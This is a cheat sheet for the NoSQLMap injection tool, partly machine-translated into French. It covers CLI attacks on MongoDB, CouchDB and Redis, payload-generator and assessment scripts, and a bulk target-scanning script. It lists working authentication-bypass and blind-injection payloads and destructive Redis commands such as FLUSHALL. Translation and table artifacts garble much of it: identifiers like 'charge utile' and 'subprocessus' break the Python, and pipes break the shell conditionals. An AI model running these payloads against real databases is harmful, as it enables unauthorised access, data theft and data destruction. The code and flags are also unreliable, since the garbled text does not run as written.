NoSQLMap aide-mémoire
Overview
NoSQLMap is a comprehensive open-source Python tool designed specifically for auditing and attacking NoSQL databases, addressing the growing security concerns in modern database environments that traditional injection SQL tools cannot handle. Developed to fill the gap in NoSQL security testing, NoSQLMap supports multiple NoSQL database types including MongoDB, CouchDB, and various document-oriented databases, providing penetration testers and security researchers with specialized capabilities for identifying and exploiting Noinjection SQL vulnerabilities. The tool has become essential for organizations adopting NoSQL technologies, as traditional database security testing approaches are inadequate for these newer database paradigms.
The core strength of NoSQLMap lies in its ability to automatically detect and exploit various types of Noinjection SQL vulnerabilities, including authentification bypass, data extraction, and blind injection attacks. Unlike traditional injection SQL tools that rely on SQL syntaxe, NoSQLMap understands the unique query structures and data formats used by NoSQL databases, such as JSON-based queries in MongoDB or clé-value operations in Redis. This specialized knowledge allows the tool to craft cibleed charge utiles that can effectively test NoSQL applications for security weaknesses that might otherwise go undetected.
NoSQLMap's versatility extends beyond simple vulnérabilité detection to include comprehensive database énumération, data extraction capabilities, and advanced exploitation techniques. The tool can automatically identify database schemas, extract sensitive data, and even perform escalade de privilèges attacks when vulnerabilities are discovered. Its modular architecture allows for easy extension to support new NoSQL database types and attack vectors, making it a future-proof solution for NoSQL security testing. The tool's ability to integrate with existing tests de pénétration workflows and generate detailed reports makes it invaluable for security professionals conducting comprehensive database security assessments.
Installation
Python Installation
Installing NoSQLMap using Python package manager:
# Install from PyPI
pip install nosqlmap
# Alternative: Install from GitHub
pip install git+https://github.com/codingo/NoSQLMap.git
# Install with development dependencies
pip install nosqlmap[dev]
# Verify Installation
nosqlmap --version
nosqlmap --help
# Install in virtual environment (recommended)
python3 -m venv nosqlmap-env
source nosqlmap-env/bin/activate
pip install nosqlmap
Source Installation
Installing NoSQLMap from source code:
# Clone repository
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
# Install dependencies
pip install -r requirements.txt
# Install in development mode
pip install -e .
# Alternative: Run directly
python nosqlmap.py --help
# Make executable
chmod +x nosqlmap.py
sudo ln -s $(pwd)/nosqlmap.py /usr/local/bin/nosqlmap
# Verify Installation
nosqlmap --version
Docker Installation
# Create NoSQLMap Docker environment
cat > Dockerfile << 'EOF'
FROM python:3.9-slim
RUN apt-get update && apt-get install -y \
git curl wget \
&& rm -rf /var/lib/apt/lists/*
# Install NoSQLMap
RUN pip install nosqlmap
# Install additional tools
RUN pip install pymongo redis
WORKDIR /nosqlmap
CMD ["nosqlmap", "--help"]
EOF
# Build container
docker build -t nosqlmap-security .
# Run NoSQLMap
docker run -it nosqlmap-security nosqlmap --help
# Run with volume mount for results
docker run -it -v $(pwd)/results:/results nosqlmap-security
Dependencies Installation
# Install required Python packages
pip install requests
pip install pymongo
pip install redis
pip install urllib3
pip install colorama
# Install optional dependencies
pip install python-nmap # For scan réseau
pip install dnspython # For DNS resolution
pip install pycrypto # For chiffrement support
# Install database drivers
pip install motor # Async MongoDB driver
pip install aioredis # Async Redis driver
pip install couchdb # CouchDB driver
# Verify dependencies
python -c "import nosqlmap; print('NoSQLMap imported successfully')"
Basic utilisation
cible Discovery
Discovering NoSQL database cibles:
# Basic cible scanning
nosqlmap --cible http://exemple.com/api/users
# Scan with custom headers
nosqlmap --cible http://exemple.com/api/users \
--headers "autorisation: Bearer jeton123"
# Scan with cookies
nosqlmap --cible http://exemple.com/api/users \
--cookies "session=abc123; auth=xyz789"
# Scan with proxy
nosqlmap --cible http://exemple.com/api/users \
--proxy http://127.0.0.1:8080
# Scan with custom user agent
nosqlmap --cible http://exemple.com/api/users \
--user-agent "Mozilla/5.0 Custom Scanner"
# Multiple cible scanning
nosqlmap --cible-list cibles.txt
Basic Injection Testing
Performing basic Noinjection SQL tests:
# Test for authentification bypass
nosqlmap --cible http://exemple.com/login \
--attack auth-bypass \
--data "nom d'utilisateur=admin&mot; de passe=test"
# Test for data extraction
nosqlmap --cible http://exemple.com/api/users \
--attack extract \
--paramètre id
# Test for blind injection
nosqlmap --cible http://exemple.com/api/search \
--attack blind \
--paramètre query
# Test specific paramètre
nosqlmap --cible http://exemple.com/api/users \
--paramètre id \
--attack all
# Test with POST data
nosqlmap --cible http://exemple.com/api/login \
--method POST \
--data '\\\\{"nom d'utilisateur":"admin","mot de passe":"test"\\\\}' \
--content-type "application/json"
Database énumération
Enumerating NoSQL database information:
# Enumerate database structure
nosqlmap --cible http://exemple.com/api/users \
--attack enumerate \
--enumerate-all
# Enumerate collections/tables
nosqlmap --cible http://exemple.com/api/users \
--attack enumerate \
--enumerate-collections
# Enumerate users and privileges
nosqlmap --cible http://exemple.com/api/users \
--attack enumerate \
--enumerate-users
# Enumerate database version
nosqlmap --cible http://exemple.com/api/users \
--attack enumerate \
--enumerate-version
# Custom énumération queries
nosqlmap --cible http://exemple.com/api/users \
--attack enumerate \
--custom-query "db.stats()"
Advanced Features
MongoDB-Specific Attacks
Specialized attacks for MongoDB databases:
# MongoDB authentification bypass
nosqlmap --cible http://exemple.com/login \
--attack mongodb-auth-bypass \
--data "nom d'utilisateur=admin&mot; de passe=test"
# MongoDB injection with $where operator
nosqlmap --cible http://exemple.com/api/search \
--attack mongodb-where \
--paramètre query \
--charge utile "function()\\\\{return true;\\\\}"
# MongoDB $regex injection
nosqlmap --cible http://exemple.com/api/users \
--attack mongodb-regex \
--paramètre name \
--charge utile ".*"
# MongoDB $ne (not equal) injection
nosqlmap --cible http://exemple.com/api/users \
--attack mongodb-ne \
--paramètre status \
--charge utile "inactive"
# MongoDB aggregation injection
nosqlmap --cible http://exemple.com/api/analytics \
--attack mongodb-aggregation \
--paramètre pipeline
CouchDB-Specific Attacks
Specialized attacks for CouchDB databases:
# CouchDB view injection
nosqlmap --cible http://exemple.com:5984/database/_design/app/_view/users \
--attack couchdb-view \
--paramètre clé
# CouchDB map-reduce injection
nosqlmap --cible http://exemple.com:5984/database/_temp_view \
--attack couchdb-mapreduce \
--data '\\\\{"map":"function(doc)\\\\{emit(doc._id,doc);\\\\}"\\\\}'
# CouchDB admin escalade de privilèges
nosqlmap --cible http://exemple.com:5984/_config \
--attack couchdb-admin \
--identifiants admin:mot de passe
# CouchDB database énumération
nosqlmap --cible http://exemple.com:5984/_all_dbs \
--attack couchdb-enum
# CouchDB document extraction
nosqlmap --cible http://exemple.com:5984/database/_all_docs \
--attack couchdb-extract \
--paramètre include_docs=true
Redis-Specific Attacks
Specialized attacks for Redis databases:
# Redis injection de commandees
nosqlmap --cible redis://exemple.com:6379 \
--attack redis-commande \
--charge utile "FLUSHALL"
# Redis Lua script injection
nosqlmap --cible redis://exemple.com:6379 \
--attack redis-lua \
--charge utile "return redis.call('clés','*')"
# Redis configuration extraction
nosqlmap --cible redis://exemple.com:6379 \
--attack redis-config
# Redis clé énumération
nosqlmap --cible redis://exemple.com:6379 \
--attack redis-clés \
--pattern "*mot de passe*"
# Redis data extraction
nosqlmap --cible redis://exemple.com:6379 \
--attack redis-extract \
--clé-pattern "user:*"
Blind Injection Techniques
Advanced blind injection testing:
# Time-based blind injection
nosqlmap --cible http://exemple.com/api/search \
--attack time-blind \
--paramètre query \
--time-delay 5
# Boolean-based blind injection
nosqlmap --cible http://exemple.com/api/users \
--attack boolean-blind \
--paramètre id \
--true-condition "user found" \
--false-condition "user not found"
# Error-based blind injection
nosqlmap --cible http://exemple.com/api/users \
--attack error-blind \
--paramètre id \
--error-pattern "MongoError"
# Content-length based blind injection
nosqlmap --cible http://exemple.com/api/search \
--attack length-blind \
--paramètre query \
--length-threshold 100
# Custom blind injection
nosqlmap --cible http://exemple.com/api/users \
--attack custom-blind \
--paramètre id \
--custom-charge utile "\\\\{'$where':'this.nom d'utilisateur.length>5'\\\\}"
Data Extraction
Advanced data extraction techniques:
# Extract all data from collection
nosqlmap --cible http://exemple.com/api/users \
--attack extract-all \
--collection users \
--output-format json
# Extract specific fields
nosqlmap --cible http://exemple.com/api/users \
--attack extract-fields \
--fields "nom d'utilisateur,email,mot de passe" \
--collection users
# Extract with conditions
nosqlmap --cible http://exemple.com/api/users \
--attack extract-conditional \
--condition "role=admin" \
--collection users
# Extract with pagination
nosqlmap --cible http://exemple.com/api/users \
--attack extract-paginated \
--page-size 100 \
--max-pages 10
# Extract binary data
nosqlmap --cible http://exemple.com/api/files \
--attack extract-binary \
--field file_data \
--output-dir ./extracted_files
Automation Scripts
Comprehensive NoSQL Assessment
#!/usr/bin/env python3
# Comprehensive NoSQL security assessment
import subprocessus
import json
import time
from datetime import datetime
import requests
from urllib.parse import urlparse
class NoSQLSecurityAssessment:
def __init__(self, cible_url, output_dir="nosql_assessment"):
self.cible_url = cible_url
self.output_dir = output_dir
self.results = \\\\{\\\\}
self.vulnerabilities = []
# Create output directory
import os
os.makedirs(output_dir, exist_ok=True)
def run_basic_tests(self):
"""Run basic Noinjection SQL tests"""
print("Running basic Noinjection SQL tests...")
basic_tests = [
\\\\{
"name": "authentification Bypass",
"attack": "auth-bypass",
"Description": "Test for authentification bypass vulnerabilities"
\\\\},
\\\\{
"name": "Data Extraction",
"attack": "extract",
"Description": "Test for data extraction vulnerabilities"
\\\\},
\\\\{
"name": "Blind Injection",
"attack": "blind",
"Description": "Test for blind injection vulnerabilities"
\\\\},
\\\\{
"name": "énumération",
"attack": "enumerate",
"Description": "Test for information disclosure"
\\\\}
]
for test in basic_tests:
print(f"Running \\\\{test['name']\\\\} test...")
cmd = [
"nosqlmap",
"--cible", self.cible_url,
"--attack", test["attack"],
"--output-format", "json",
"--output-file", f"\\\\{self.output_dir\\\\}/\\\\{test['attack']\\\\}_results.json"
]
try:
result = subprocessus.run(cmd, capture_output=True, text=True, timeout=300)
test_result = \\\\{
"test_name": test["name"],
"attack_type": test["attack"],
"commande": " ".join(cmd),
"return_code": result.returncode,
"stdout": result.stdout,
"stderr": result.stderr,
"timestamp": datetime.now().isoformat()
\\\\}
if result.returncode == 0:
test_result["status"] = "completed"
# Parse results for vulnerabilities
self.parse_test_results(test["attack"], result.stdout)
else:
test_result["status"] = "failed"
self.results[test["attack"]] = test_result
except subprocessus.TimeoutExpired:
print(f"Test \\\\{test['name']\\\\} timed out")
self.results[test["attack"]] = \\\\{
"test_name": test["name"],
"status": "timeout",
"timestamp": datetime.now().isoformat()
\\\\}
except Exception as e:
print(f"Error running test \\\\{test['name']\\\\}: \\\\{e\\\\}")
self.results[test["attack"]] = \\\\{
"test_name": test["name"],
"status": "error",
"error": str(e),
"timestamp": datetime.now().isoformat()
\\\\}
time.sleep(2) # Rate limiting
def run_database_specific_tests(self):
"""Run database-specific tests"""
print("Running database-specific tests...")
# Detect database type first
db_type = self.detect_database_type()
if db_type == "mongodb":
self.run_mongodb_tests()
elif db_type == "couchdb":
self.run_couchdb_tests()
elif db_type == "redis":
self.run_redis_tests()
else:
print("Database type not detected, running generic tests")
self.run_generic_tests()
def detect_database_type(self):
"""Detect NoSQL database type"""
print("Detecting database type...")
# Check for MongoDB indicators
mongodb_indicators = [
"/api/",
"ObjectId",
"mongodb://",
"27017"
]
# Check for CouchDB indicators
couchdb_indicators = [
"_design/",
"_view/",
"5984",
"couchdb"
]
# Check for Redis indicators
redis_indicators = [
"redis://",
"6379",
"REDIS"
]
try:
response = requests.get(self.cible_url, timeout=10)
content = response.text.lower()
headers = response.headers
# Check headers and content for indicators
if any(indicator.lower() in content or indicator.lower() in str(headers) for indicator in mongodb_indicators):
return "mongodb"
elif any(indicator.lower() in content or indicator.lower() in str(headers) for indicator in couchdb_indicators):
return "couchdb"
elif any(indicator.lower() in content or indicator.lower() in str(headers) for indicator in redis_indicators):
return "redis"
except Exception as e:
print(f"Error detecting database type: \\\\{e\\\\}")
return "unknown"
def run_mongodb_tests(self):
"""Run MongoDB-specific tests"""
print("Running MongoDB-specific tests...")
mongodb_tests = [
"mongodb-auth-bypass",
"mongodb-where",
"mongodb-regex",
"mongodb-ne",
"mongodb-aggregation"
]
for test in mongodb_tests:
cmd = [
"nosqlmap",
"--cible", self.cible_url,
"--attack", test,
"--output-format", "json"
]
try:
result = subprocessus.run(cmd, capture_output=True, text=True, timeout=180)
self.results[f"mongodb_\\\\{test\\\\}"] = \\\\{
"attack_type": test,
"return_code": result.returncode,
"output": result.stdout,
"timestamp": datetime.now().isoformat()
\\\\}
if result.returncode == 0:
self.parse_test_results(test, result.stdout)
except Exception as e:
print(f"Error running MongoDB test \\\\{test\\\\}: \\\\{e\\\\}")
def run_couchdb_tests(self):
"""Run CouchDB-specific tests"""
print("Running CouchDB-specific tests...")
couchdb_tests = [
"couchdb-view",
"couchdb-mapreduce",
"couchdb-admin",
"couchdb-enum"
]
for test in couchdb_tests:
cmd = [
"nosqlmap",
"--cible", self.cible_url,
"--attack", test,
"--output-format", "json"
]
try:
result = subprocessus.run(cmd, capture_output=True, text=True, timeout=180)
self.results[f"couchdb_\\\\{test\\\\}"] = \\\\{
"attack_type": test,
"return_code": result.returncode,
"output": result.stdout,
"timestamp": datetime.now().isoformat()
\\\\}
if result.returncode == 0:
self.parse_test_results(test, result.stdout)
except Exception as e:
print(f"Error running CouchDB test \\\\{test\\\\}: \\\\{e\\\\}")
def run_redis_tests(self):
"""Run Redis-specific tests"""
print("Running Redis-specific tests...")
redis_tests = [
"redis-commande",
"redis-lua",
"redis-config",
"redis-clés"
]
for test in redis_tests:
cmd = [
"nosqlmap",
"--cible", self.cible_url,
"--attack", test,
"--output-format", "json"
]
try:
result = subprocessus.run(cmd, capture_output=True, text=True, timeout=180)
self.results[f"redis_\\\\{test\\\\}"] = \\\\{
"attack_type": test,
"return_code": result.returncode,
"output": result.stdout,
"timestamp": datetime.now().isoformat()
\\\\}
if result.returncode == 0:
self.parse_test_results(test, result.stdout)
except Exception as e:
print(f"Error running Redis test \\\\{test\\\\}: \\\\{e\\\\}")
def parse_test_results(self, test_type, output):
"""Parse test results for vulnerabilities"""
# Look for vulnérabilité indicators in output
vulnérabilité_indicators = [
"VULNERABLE",
"INJECTION FOUND",
"BYPASS SUCCESSFUL",
"DATA EXTRACTED",
"authentification BYPASSED"
]
if any(indicator in output.upper() for indicator in vulnérabilité_indicators):
vulnérabilité = \\\\{
"test_type": test_type,
"severity": self.determine_severity(test_type),
"Description": f"Noinjection SQL vulnérabilité found in \\\\{test_type\\\\} test",
"evidence": output[:500], # First 500 chars as evidence
"timestamp": datetime.now().isoformat()
\\\\}
self.vulnerabilities.append(vulnérabilité)
def determine_severity(self, test_type):
"""Determine vulnérabilité severity based on test type"""
high_severity = ["auth-bypass", "extract", "mongodb-auth-bypass"]
medium_severity = ["blind", "enumerate", "mongodb-where"]
if test_type in high_severity:
return "HIGH"
elif test_type in medium_severity:
return "MEDIUM"
else:
return "LOW"
def generate_report(self):
"""Generate comprehensive assessment report"""
report = \\\\{
"assessment_info": \\\\{
"cible": self.cible_url,
"timestamp": datetime.now().isoformat(),
"total_tests": len(self.results),
"vulnerabilities_found": len(self.vulnerabilities)
\\\\},
"test_results": self.results,
"vulnerabilities": self.vulnerabilities,
"summary": \\\\{
"high_severity": len([v for v in self.vulnerabilities if v["severity"] == "HIGH"]),
"medium_severity": len([v for v in self.vulnerabilities if v["severity"] == "MEDIUM"]),
"low_severity": len([v for v in self.vulnerabilities if v["severity"] == "LOW"])
\\\\}
\\\\}
# Save JSON report
with open(f"\\\\{self.output_dir\\\\}/assessment_report.json", 'w') as f:
json.dump(report, f, indent=2)
# Generate HTML report
self.generate_html_report(report)
print(f"Assessment completed. Report saved to \\\\{self.output_dir\\\\}/")
print(f"Vulnerabilities found: \\\\{len(self.vulnerabilities)\\\\}")
return report
def generate_html_report(self, report):
"""Generate HTML assessment report"""
html_template = """
<!DOCTYPE html>
<html>
<head>
<title>NoSQL Security Assessment Report</title>
<style>
body \\\\{ font-family: Arial, sans-serif; margin: 20px; \\\\}
.header \\\\{ background-color: #f0f0f0; padding: 20px; \\\\}
.vulnérabilité \\\\{ margin: 15px 0; padding: 15px; border-left: 4px solid #ff0000; background-color: #fff5f5; \\\\}
.high \\\\{ border-left-color: #ff0000; \\\\}
.medium \\\\{ border-left-color: #ff8800; \\\\}
.low \\\\{ border-left-color: #ffff00; \\\\}
.test-result \\\\{ margin: 10px 0; padding: 10px; background-color: #f9f9f9; \\\\}
.summary \\\\{ background-color: #e6f3ff; padding: 15px; margin: 20px 0; \\\\}
</style>
</head>
<body>
<div class="header">
<h1>NoSQL Security Assessment Report</h1>
<p>cible: \\\\{cible\\\\}</p>
<p>Assessment Date: \\\\{timestamp\\\\}</p>
</div>
<div class="summary">
<h2>Executive Summary</h2>
<p>Total Tests Performed: \\\\{total_tests\\\\}</p>
<p>Vulnerabilities Found: \\\\{total_vulnerabilities\\\\}</p>
<ul>
<li>High Severity: \\\\{high_severity\\\\}</li>
<li>Medium Severity: \\\\{medium_severity\\\\}</li>
<li>Low Severity: \\\\{low_severity\\\\}</li>
</ul>
</div>
<h2>Vulnerabilities</h2>
\\\\{vulnerabilities_html\\\\}
<h2>Test Results</h2>
\\\\{test_results_html\\\\}
</body>
</html>
"""
# Generate vulnerabilities HTML
vulnerabilities_html = ""
for vuln in report["vulnerabilities"]:
vulnerabilities_html += f"""
<div class="vulnérabilité \\\\{vuln['severity'].lower()\\\\}">
<h3>\\\\{vuln['test_type']\\\\} - \\\\{vuln['severity']\\\\} Severity</h3>
<p>\\\\{vuln['Description']\\\\}</p>
<p><strong>Evidence:</strong> \\\\{vuln['evidence']\\\\}</p>
<p><strong>Timestamp:</strong> \\\\{vuln['timestamp']\\\\}</p>
</div>
"""
# Generate test results HTML
test_results_html = ""
for test_name, result in report["test_results"].items():
test_results_html += f"""
<div class="test-result">
<h3>\\\\{test_name\\\\}</h3>
<p>Status: \\\\{result.get('status', 'Unknown')\\\\}</p>
<p>Return Code: \\\\{result.get('return_code', 'N/A')\\\\}</p>
<p>Timestamp: \\\\{result.get('timestamp', 'N/A')\\\\}</p>
</div>
"""
html_content = html_template.format(
cible=report["assessment_info"]["cible"],
timestamp=report["assessment_info"]["timestamp"],
total_tests=report["assessment_info"]["total_tests"],
total_vulnerabilities=report["assessment_info"]["vulnerabilities_found"],
high_severity=report["summary"]["high_severity"],
medium_severity=report["summary"]["medium_severity"],
low_severity=report["summary"]["low_severity"],
vulnerabilities_html=vulnerabilities_html,
test_results_html=test_results_html
)
with open(f"\\\\{self.output_dir\\\\}/assessment_report.html", 'w') as f:
f.write(html_content)
# utilisation
if __name__ == "__main__":
cible_url = "http://exemple.com/api/users"
assessment = NoSQLSecurityAssessment(cible_url)
# Run comprehensive assessment
assessment.run_basic_tests()
assessment.run_database_specific_tests()
# Generate report
report = assessment.generate_report()
Automated charge utile Generation
#!/usr/bin/env python3
# Noinjection SQL charge utile generator
import json
import base64
import urllib.parse
class NoSQLcharge utileGenerator:
def __init__(self):
self.charge utiles = \\\\{
"mongodb": [],
"couchdb": [],
"redis": [],
"generic": []
\\\\}
self.generate_all_charge utiles()
def generate_mongodb_charge utiles(self):
"""Generate MongoDB-specific charge utiles"""
# authentification bypass charge utiles
auth_bypass = [
\\\\{"nom d'utilisateur": \\\\{"$ne": ""\\\\}, "mot de passe": \\\\{"$ne": ""\\\\}\\\\},
\\\\{"nom d'utilisateur": \\\\{"$regex": ".*"\\\\}, "mot de passe": \\\\{"$regex": ".*"\\\\}\\\\},
\\\\{"nom d'utilisateur": \\\\{"$exists": True\\\\}, "mot de passe": \\\\{"$exists": True\\\\}\\\\},
\\\\{"nom d'utilisateur": \\\\{"$gt": ""\\\\}, "mot de passe": \\\\{"$gt": ""\\\\}\\\\},
\\\\{"$or": [\\\\{"nom d'utilisateur": "admin"\\\\}, \\\\{"nom d'utilisateur": \\\\{"$ne": ""\\\\}\\\\}]\\\\},
\\\\{"nom d'utilisateur": \\\\{"$in": ["admin", "administrator", "root"]\\\\}\\\\}
]
# Data extraction charge utiles
data_extraction = [
\\\\{"$where": "return true"\\\\},
\\\\{"$where": "function()\\\\{return this.nom d'utilisateur.length > 0\\\\}"\\\\},
\\\\{"$where": "function()\\\\{return JSON.stringify(this)\\\\}"\\\\},
\\\\{"nom d'utilisateur": \\\\{"$regex": "^a.*"\\\\}\\\\},
\\\\{"mot de passe": \\\\{"$regex": ".*"\\\\}\\\\},
\\\\{"$expr": \\\\{"$gt": [\\\\{"$strLenCP": "$mot de passe"\\\\}, 0]\\\\}\\\\}
]
# Blind injection charge utiles
blind_injection = [
\\\\{"$where": "sleep(5000)"\\\\},
\\\\{"$where": "function()\\\\{if(this.nom d'utilisateur=='admin')sleep(5000)\\\\}"\\\\},
\\\\{"nom d'utilisateur": \\\\{"$regex": "^admin.*"\\\\}, "$where": "sleep(1000)"\\\\},
\\\\{"$expr": \\\\{"$cond": [\\\\{"$eq": ["$nom d'utilisateur", "admin"]\\\\}, \\\\{"$literal": True\\\\}, \\\\{"$literal": False\\\\}]\\\\}\\\\}
]
self.charge utiles["mongodb"] = \\\\{
"auth_bypass": auth_bypass,
"data_extraction": data_extraction,
"blind_injection": blind_injection
\\\\}
def generate_couchdb_charge utiles(self):
"""Generate CouchDB-specific charge utiles"""
# View injection charge utiles
view_injection = [
\\\\{"clé": ["admin", \\\\{"$gt": null\\\\}]\\\\},
\\\\{"startclé": "admin", "endclé": "admin\ufff0"\\\\},
\\\\{"clé": \\\\{"$regex": ".*admin.*"\\\\}\\\\},
\\\\{"include_docs": True, "clé": \\\\{"$ne": null\\\\}\\\\}
]
# Map-reduce injection charge utiles
mapreduce_injection = [
\\\\{
"map": "function(doc)\\\\{if(doc.nom d'utilisateur=='admin')emit(doc._id,doc);\\\\}"
\\\\},
\\\\{
"map": "function(doc)\\\\{emit(doc._id,doc);\\\\}",
"reduce": "function(clés,values)\\\\{return values;\\\\}"
\\\\}
]
self.charge utiles["couchdb"] = \\\\{
"view_injection": view_injection,
"mapreduce_injection": mapreduce_injection
\\\\}
def generate_redis_charge utiles(self):
"""Generate Redis-specific charge utiles"""
# injection de commandees charge utiles
commande_injection = [
"FLUSHALL",
"CONFIG GET *",
"INFO",
"cléS *",
"EVAL \"return redis.call('clés','*')\" 0",
"SCRIPT LOAD \"return redis.call('flushall')\""
]
# Lua script injection charge utiles
lua_injection = [
"return redis.call('clés','*')",
"return redis.call('config','get','*')",
"return redis.call('info')",
"for i=1,1000000 do end; return 'done'"
]
self.charge utiles["redis"] = \\\\{
"commande_injection": commande_injection,
"lua_injection": lua_injection
\\\\}
def generate_generic_charge utiles(self):
"""Generate generic NoSQL charge utiles"""
# Generic injection patterns
generic_patterns = [
"'; return true; //",
"\"; return true; //",
| "' | | '1'=='1", |
| "\" | | \"1\"==\"1\"", |
"'; return this; //",
"\"; return this; //",
"true, true",
"false, true",
"1, 1",
"0, 1"
]
# JSON injection charge utiles
json_injection = [
\\\\{"$ne": ""\\\\},
\\\\{"$gt": ""\\\\},
\\\\{"$regex": ".*"\\\\},
\\\\{"$exists": True\\\\},
\\\\{"$in": ["admin", "user", "guest"]\\\\},
\\\\{"$or": [\\\\{"nom d'utilisateur": "admin"\\\\}, \\\\{"mot de passe": \\\\{"$ne": ""\\\\}\\\\}]\\\\}
]
self.charge utiles["generic"] = \\\\{
"patterns": generic_patterns,
"json_injection": json_injection
\\\\}
def generate_all_charge utiles(self):
"""Generate all charge utile types"""
self.generate_mongodb_charge utiles()
self.generate_couchdb_charge utiles()
self.generate_redis_charge utiles()
self.generate_generic_charge utiles()
def encode_charge utile(self, charge utile, encoding_type="url"):
"""Encode charge utile for different contexts"""
if isinstance(charge utile, dict):
charge utile_str = json.dumps(charge utile)
else:
charge utile_str = str(charge utile)
if encoding_type == "url":
return urllib.parse.quote(charge utile_str)
elif encoding_type == "base64":
return base64.b64encode(charge utile_str.encode()).decode()
elif encoding_type == "double_url":
return urllib.parse.quote(urllib.parse.quote(charge utile_str))
else:
return charge utile_str
def generate_test_cases(self, cible_db="mongodb", encoding="url"):
"""Generate test cases for specific database"""
test_cases = []
if cible_db in self.charge utiles:
for category, charge utiles in self.charge utiles[cible_db].items():
for charge utile in charge utiles:
test_case = \\\\{
"database": cible_db,
"category": category,
"charge utile": charge utile,
"encoded_charge utile": self.encode_charge utile(charge utile, encoding),
"Description": f"\\\\{cible_db\\\\} \\\\{category\\\\} charge utile"
\\\\}
test_cases.append(test_case)
return test_cases
def export_charge utiles(self, output_file="nosql_charge utiles.json"):
"""Export all charge utiles to file"""
with open(output_file, 'w') as f:
json.dump(self.charge utiles, f, indent=2)
print(f"charge utiles exported to \\\\{output_file\\\\}")
def generate_wordlist(self, cible_db="all", output_file="nosql_wordlist.txt"):
"""Generate wordlist for fuzzing"""
wordlist = []
if cible_db == "all":
databases = self.charge utiles.clés()
else:
databases = [cible_db] if cible_db in self.charge utiles else []
for db in databases:
for category, charge utiles in self.charge utiles[db].items():
for charge utile in charge utiles:
if isinstance(charge utile, dict):
wordlist.append(json.dumps(charge utile))
else:
wordlist.append(str(charge utile))
with open(output_file, 'w') as f:
for item in wordlist:
f.write(item + '\n')
print(f"Wordlist generated: \\\\{output_file\\\\}")
return wordlist
# utilisation
if __name__ == "__main__":
generator = NoSQLcharge utileGenerator()
# Generate test cases for MongoDB
mongodb_tests = generator.generate_test_cases("mongodb", "url")
print(f"Generated \\\\{len(mongodb_tests)\\\\} MongoDB test cases")
# Export all charge utiles
generator.export_charge utiles()
# Generate wordlist
generator.generate_wordlist()
Bulk cible Testing
#!/bin/bash
# Bulk NoSQL cible testing script
cible_FILE="$1"
OUTPUT_DIR="bulk_nosql_results_$(date +%Y%m%d_%H%M%S)"
if [ -z "$cible_FILE" ]; then
echo "utilisation: $0 <cible_file>"
echo "cible file should contain one URL per line"
exit 1
fi
if [ ! -f "$cible_FILE" ]; then
echo "Error: cible file not found: $cible_FILE"
exit 1
fi
echo "Starting bulk NoSQL testing..."
echo "cible file: $cible_FILE"
echo "Output directory: $OUTPUT_DIR"
# Create output directory
mkdir -p "$OUTPUT_DIR"
# Initialize summary
echo "cible,Status,Vulnerabilities,Test_Time" > "$OUTPUT_DIR/summary.csv"
# processus each cible
while IFS= read -r cible; do
# Skip empty lines and comments
| if [[ -z "$cible" | | "$cible" =~ ^# ]]; then |
continue
fi
echo "Testing cible: $cible"
# Create cible-specific directory
| cible_dir="$OUTPUT_DIR/$(echo "$cible" | sed 's | [^a-zA-Z0-9] | _ | g')" |
mkdir -p "$cible_dir"
start_time=$(date +%s)
# Run basic tests
echo "Running basic Noinjection SQL tests..."
# authentification bypass test
nosqlmap --cible "$cible" \
--attack auth-bypass \
--output-format json \
--output-file "$cible_dir/auth_bypass.json" \
--timeout 60 > "$cible_dir/auth_bypass.log" 2>&1
# Data extraction test
nosqlmap --cible "$cible" \
--attack extract \
--output-format json \
--output-file "$cible_dir/data_extract.json" \
--timeout 60 > "$cible_dir/data_extract.log" 2>&1
# Blind injection test
nosqlmap --cible "$cible" \
--attack blind \
--output-format json \
--output-file "$cible_dir/blind_injection.json" \
--timeout 60 > "$cible_dir/blind_injection.log" 2>&1
# énumération test
nosqlmap --cible "$cible" \
--attack enumerate \
--output-format json \
--output-file "$cible_dir/énumération.json" \
--timeout 60 > "$cible_dir/énumération.log" 2>&1
end_time=$(date +%s)
test_duration=$((end_time - start_time))
# Analyze results
vulnérabilité_count=0
status="TESTED"
# Check for vulnerabilities in output files
for result_file in "$cible_dir"/*.json; do
if [ -f "$result_file" ]; then
| if grep -q "VULNERABLE\ | INJECTION\ | BYPASS" "$result_file" 2>/dev/null; then |
vulnérabilité_count=$((vulnérabilité_count + 1))
status="VULNERABLE"
fi
fi
done
# Check for errors
| if grep -q "ERROR\ | TIMEOUT\ | FAILED" "$cible_dir"/*.log 2>/dev/null; then |
if [ "$status" != "VULNERABLE" ]; then
status="ERROR"
fi
fi
# Update summary
echo "$cible,$status,$vulnérabilité_count,$\\\\{test_duration\\\\}s" >> "$OUTPUT_DIR/summary.csv"
echo "Completed testing $cible ($\\\\{test_duration\\\\}s, $vulnérabilité_count vulnerabilities)"
# Rate limiting
sleep 5
done < "$cible_FILE"
# Generate final report
echo "Generating final report..."
cat > "$OUTPUT_DIR/bulk_test_report.html" << EOF
<!DOCTYPE html>
<html>
<head>
<title>Bulk NoSQL Testing Report</title>
<style>
body \\\\{ font-family: Arial, sans-serif; margin: 20px; \\\\}
table \\\\{ border-collapse: collapse; width: 100%; \\\\}
th, td \\\\{ border: 1px solid #ddd; padding: 8px; text-align: left; \\\\}
th \\\\{ background-color: #f2f2f2; \\\\}
.vulnerable \\\\{ background-color: #ffebee; \\\\}
.error \\\\{ background-color: #fff3e0; \\\\}
.tested \\\\{ background-color: #e8f5e8; \\\\}
</style>
</head>
<body>
<h1>Bulk NoSQL Testing Report</h1>
<p>Generated: $(date)</p>
<p>Total cibles tested: $(wc -l < "$cible_FILE")</p>
<h2>Summary</h2>
<table>
<tr>
<th>cible</th>
<th>Status</th>
<th>Vulnerabilities</th>
<th>Test Duration</th>
</tr>
EOF
# Add table rows from CSV
tail -n +2 "$OUTPUT_DIR/summary.csv"|while IFS=, read -r cible status vulns duration; do
css_class=$(echo "$status"|tr '[:upper:]' '[:lower:]')
echo " <tr class=\"$css_class\">" >> "$OUTPUT_DIR/bulk_test_report.html"
echo " <td>$cible</td>" >> "$OUTPUT_DIR/bulk_test_report.html"
echo " <td>$status</td>" >> "$OUTPUT_DIR/bulk_test_report.html"
echo " <td>$vulns</td>" >> "$OUTPUT_DIR/bulk_test_report.html"
echo " <td>$duration</td>" >> "$OUTPUT_DIR/bulk_test_report.html"
echo " </tr>" >> "$OUTPUT_DIR/bulk_test_report.html"
done
cat >> "$OUTPUT_DIR/bulk_test_report.html" << EOF
</table>
</body>
</html>
EOF
echo "Bulk testing completed!"
echo "Results saved in: $OUTPUT_DIR"
echo "Summary report: $OUTPUT_DIR/bulk_test_report.html"
# Print summary statistics
echo ""
